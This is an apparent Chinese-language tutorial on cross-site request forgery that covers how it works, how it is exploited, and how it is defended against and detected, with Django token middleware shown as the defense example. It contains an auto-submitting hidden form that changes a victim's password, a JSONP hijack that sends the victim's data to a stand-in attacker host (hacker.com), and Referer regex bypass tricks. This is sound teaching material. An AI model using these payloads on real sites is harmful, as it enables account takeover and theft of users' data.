0x01 CSRF簡介
CSRF,也稱XSRF,即跨站請求偽造攻擊,與XSS相似,但與XSS相比更難防范,是一種廣泛存在於網站中的安全漏洞,經常與XSS一起配合攻擊。
0x02 CSRF原理
攻擊者通過盜用用戶身份悄悄發送一個請求,或執行某些惡意操作。
CSRF漏洞產生的主要原因:
- 請求所有的參數均可確定
- 請求的審核不嚴格,如:只驗證了Cookie
關於CSRF的執行過程,這里引用自hyddd大佬畫的圖:
我們知道,當我們使用img等標簽時,通過設置標簽的src等屬性引入外部資源,是可以被瀏覽器認為是合法的跨域請求,也就是說是可以帶上Cookie訪問的。
試想一下,如果我們在a.com上放置一個img標簽<img src=//b.com/del?id=1>
。當b.com的用戶在cookie沒過期的情況下訪問a.com,此時瀏覽器會向b.com發送一個指向http://b.com/del?id=1
的GET
請求,並且這個請求是帶上Cookie的,而b.com的服務器僅僅是通過cookie進行權限判斷,那么服務器就會進行相應的操作,比如假設此處為刪除某個文章,用戶在不知情的情況下便已完成操作。
0x03 CSRF能夠造成的危害
- 篡改目標網站上的用戶數據;
- 盜取用戶隱私數據;
- 作為其他攻擊向量的輔助攻擊手法;
- 傳播CSRF蠕蟲。
0x04 CSRF的利用方式
- 通過HTML標簽發送合法的跨域請求
- 通過Ajax發送請求(由於CORS機制的存在,一般不使用)
這里涉及到同源策略,如果不是很清楚可以先去了解一下。
1) HTML標簽
我們知道,根據同源策略的規定,跨域請求是不允許帶上Cookie等信息的,可是出於種種考慮最終沒有進行完全禁止,即存在某些合法的跨域請求。
通常由HTML標簽src
、lowsrc
等屬性產生的跨域請求是被瀏覽器認為是合法的跨域請求,並且此時並不需要javascript的參與。
由HTML標簽發出的合法跨域請求與正常的用戶點擊發出的請求相比所不同的是:兩者請求頭中的Referer值不同。
不過值得說明的是IE瀏覽器在面對這種情況時會判斷本地Cookie是否帶上P3P屬性,如果僅僅是內存Cookie則不受此影響。
CSRF不僅僅只能針對GET請求,也可以針對POST請求,不過只能使用from標簽進行自動提交,注意此處需用到javascript。
<html>
<head></head>
<body>
<form action="http://a.com/changepass" method="POST">
<input type="hidden" name="username" value="victim">
<input type="hidden" name="password" value="hacker">
<input id="sub" type="submit"> //可用樣式表將按鈕隱藏
</form>
<script>
document.getElementById("sub").click()
</script>
</body>
</html>
2) Ajax
除了通過HTML標簽發送跨域請求外,還可以通過Ajax來發送跨域情況,不過Ajax是嚴格遵守CORS規則的。
關於CORS規則,不清楚的可以去看看evoA大佬的一篇文章跨域方式及其產生的安全問題。
簡單來說就是需要構造的xhr的withCredentials
屬性也為true
才能帶上Cookie進行跨域請求,與IE兼容性不好,且構造難度較Html復雜,故通常情況下我們不使用Ajax來進行CSRF攻擊。
通常使用Ajax來跨域進行CSRF攻擊的漏洞一般都配合XSS漏洞,此時的Ajax與目標域相同,不受CORS的限制。
0x05 CSRF利用實例
1) 常用利用方式
攻擊者構造惡意html,通過引誘用戶/管理員訪問,觸發CSRF漏洞。
2) 結合XSS利用
CSRF+XSS結合,產生的危害已幾何倍數劇增。如果CSRF和XSS兩個漏洞是在同一個域下的話,那么此時的CSRF已經變成了OSRF了,即本站點請求偽造(出自黑客攻防技術寶典Web實戰篇第二版p366),此時已經變成XSS的請求偽造攻擊,本文不在贅述。
3) jsonp
我們知道網站api返回的數據類型一般為json型或Array型,這里我們僅討論json型。
當我們需要調用遠程api時json返回的數據一般如下:
user({"name":"Yunen","work":"Student","xxxx":"xxxxxxxxx",......})
這是因為開發者如果需要調用遠程服務器的api獲取json數據,由於同源策略的限制,通過ajax獲取就會顯得比較麻煩,相比之下<script>
標簽的開放策略,無疑是最好的方法去彌補這一缺陷,使得json數據可以進行方便的跨域傳輸。此處的user為回調函數名,一般為某個請求參數值(比如:callback),就上述例子說,只需要通過下面方法即可調用返回的數據:
<script>
function user(data){
console.log(data);//此時的json數據已經存儲進了data變量中
}
</script>
這種遠程api接口十分容易受到CSRF攻擊,我們可以通過修改callback參數值並添加自定義函數,如:
<html>
<head></head>
<body>
<script>
function jsonphack(data){
new image().src="http://hacker.com/json.php?data="+escape(data);
//將json返回的數據發送到黑客服務器上
}
</script>
<script src="http://127.0.0.1/1.php?callback=jsonphack"></script>
</body>
</html>
4) 更多例子
從零開始學CSRF
Web安全系列 -- Csrf漏洞
phpMyAdmin 4.7.x CSRF 漏洞利用
0x06 防御CSRF攻擊
前邊我們說到,產生CSRF的原因主要有兩點,那么我們可以針對這兩點進行相應的防御。
1) Token
我們知道CSRF攻擊的請求除了Cookie以外,其他的內容必須提前確定好,那么如果我們在服務端要求提交的某一個參數中是隨機的值呢?
這里我們稱這個隨機的、無法被預計的值叫做Token,一般是由服務端在接收到用戶端請求后生成,返回給用戶的Token通常放置在hidden表單或用戶的Cookie里。
當用戶打開正常的發送請求的頁面時,服務器會生成一串隨機的Token值給瀏覽器,在發送請求時帶上此Token,服務端驗證Token值,如果相匹配才執行相應的操作、銷毀原Token以及生成並返回新的Token給用戶,這樣做不僅僅起到了防御CSRF的作用,還可以防止表單的重復提交。
由於HTML標簽產生的合法跨域只能是單向請求,無法通過CSRF直接取返回的內容,所以我們無法使用CSRF先取Token值再構造請求,這使得Token可以起到防御CSRF的作用。
注意Token不應該放置在網頁的Url中,如果放在Url中當瀏覽器自動訪問外部資源,如img標簽的src屬性指向攻擊者的服務器,Token會出現作為Referer發送給外部服務器,以下為相關實例:
- WooYun-2015-136903
2) Referer
前邊我們提到,CSRF偽造的請求與用戶正常的請求相比最大的區別就是請求頭中的Referer值不同,使用我們可以根據這點來防御CSRF。
在接收請求的服務端判斷請求的Referer頭是否為正常的發送請求的頁面,如果不是,則進行攔截。
不過此方法有時也存在着一定的漏洞,比如可繞過等,所以最好還是使用Token。
判斷Referer的一般方法就是利用正則進行判斷,而判斷Referer的正則一定要寫全,不然就會如上所說,可繞過!曾經的Wooyun上就有許多CSRF的漏洞是由於Referer的正則不規范導致。
比如^http\:\/\/a\.com
,只驗證了是否Referer是否以http://a.com
開頭,可是沒想到我們可以在自己的頂級域名添加一個子域名http://a.com.hacker.com
;還有http\:\/\/a\.com\/
,通過http://hacker.com/?http://a.com/
繞過。以下相關例子均為Referer繞過:
- WooYun-2015-164067
- WooYun-2015-165578
- WooYun-2016-166608
- WooYun-2016-167674
有些網站由於歷史原因會允許空Referer頭,當https向http進行跳轉時,使用Html標簽(如img、iframe)進行CSRF攻擊時,請求頭是不會帶上Referer的,可以達到空Referer的目的。
3) 驗證碼
在發送請求前先需要輸入基於服務端判斷的驗證碼,機制與Token類似,防御CSRF效果非常好,不過此方法對用戶的友好度很差。
4) 關注點
關於CSRF的防護應首先關注高危操作的請求,比如:網上轉賬、修改密碼等,其次應重點關注那些可以散播的,比如:分享鏈接、發送消息等,再者是能輔助散播的,如取用戶好友信息等,因為前者加上后者制造出來的CSRF蠕蟲雖不如XSS蠕蟲威力大,可是也不可小覷。最后應關注那些高權限賬戶能夠進行的特權操作,如:上傳文件、添加管理員,在許多滲透測試中,便是起初利用這點一擼到底。
5) 防御實例:Django的CSRF防御機制
新建個Django項目,打開項目下的settings.py文件,可以看到這么一行代碼:django.middleware.csrf.CsrfViewMiddleware
這個就是Django的CSRF防御機制,當我們發送POST請求時Django會自動檢測CSRF_Token值是否正確。我們把Debug
打開,可以看到如果我們的POST請求無CSRF_Token這個值,服務端會返回403報錯。
現在我們往表單上添加CSRF_Token的驗證:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="/login/" method="post">
{% raw %}{{% endraw %}% csrf_token %} //添加Token
<input type="text" name="user" />
<input type="text" name="pwd" />
<input type="submit" value="登陸" />
</form>
</body>
</html>
下圖為生成的HTML,可以看到{% raw %}{{% endraw %}% csrf_token %}
這串代碼被Django解析成了一個隱藏的input
標簽,其中的值為token值,當我們發送請求時必須帶上這個值。
只有這樣Django才會接受POST請求來的數據,否則返回錯誤,並且原登陸頁面的CSRF_Token重新生成,上一個進行銷毀,很大程度上防御住了POST請求的CSRF。
補充一張暴漫系列圖,引用自先知社區《聊聊CSRF漏洞攻防----久等的暴漫》作者:farmsec:
0x07 CSRF的常用檢測方法
1) 黑盒
- 首先肯定確定是否除Cookie外其他參數均可確定,即:無驗證碼,無Token等。
- 再者如果發現是Referer頭判斷的話,可以嘗試是否可以繞過正則。
- 還有就是考慮能不能繞過Token,比如Url處的Token用加載攻擊者服務器上的圖片來獲取。
- 最后可以考慮與XSS結合,如:攻擊者使用iframe跨域,存在xss漏洞的網站插入的XSS執行代碼為
eval(window.name)
,那么我們構造的iframe標簽里可以添加個name屬性與子頁面進行通信,例子:wooyun-2015-089971。
2) 白盒
- 查看是否有Token,驗證碼,Referer等不確定參數判斷。
- 判斷Referer的正則是否安全。
- 判斷Token返回的位置是否為安全位置。
- 判斷生成的Token是否足夠隨機,毫無規律。
從上到下挖掘難度依次遞增
0x08 補充說明
1) HttpOnly
CSRF攻擊不受Cookie的HttpOnly屬性影響。
2) XSS漏洞情況下的CSRF
如果一個網站存在XSS漏洞,那么以上針對CSRF的防御幾乎失去了作用。
3) 關於Flash的內容
鑒於Flash的涼勢,這里暫不做研究以節省時間。
4) 目前CSRF形勢
就目前而言,CSRF這個沉睡的巨人頗有一番蘇醒的意味,可導致的危害也正在逐步的為人們所知,但目前仍有許多開發人員還沒有足夠的安全意識,以為只要驗證Cookie就能確定用戶的真實意圖了,這就導致了目前仍有大量潛在的CSRF漏洞的局面,CSRF是不可小覷的漏洞,希望大家看完這篇文章能對CSRF有個較為清晰的認識。
0x09 結束語
雖說這篇文章內容較為基礎,但也是我熟讀幾本相關書籍與相關文章、研究已知漏洞,所寫出來的一篇半總結,半思考文章,也許里邊會有些錯誤,麻煩各位表哥斧正,如果有想要與我交流相關內容的可以email我(asp-php#foxmail.com #換成@)。
0x0A 參考
書籍:
《Web前端黑客技術揭秘》p83-p96
《XSS跨站腳本攻擊剖析與防御》p182-p187
《黑客攻防技術寶典Web實戰篇第二版》p368-p374
文章:
CSRF漏洞挖掘
WEB安全之Token淺談
跨域方式及其產生的安全問題
Django中CSRF原理及應用詳解
CSRF簡單介紹及利用方法 | WooYun知識庫
原生JSONP實現_動態加載js(利用script標簽)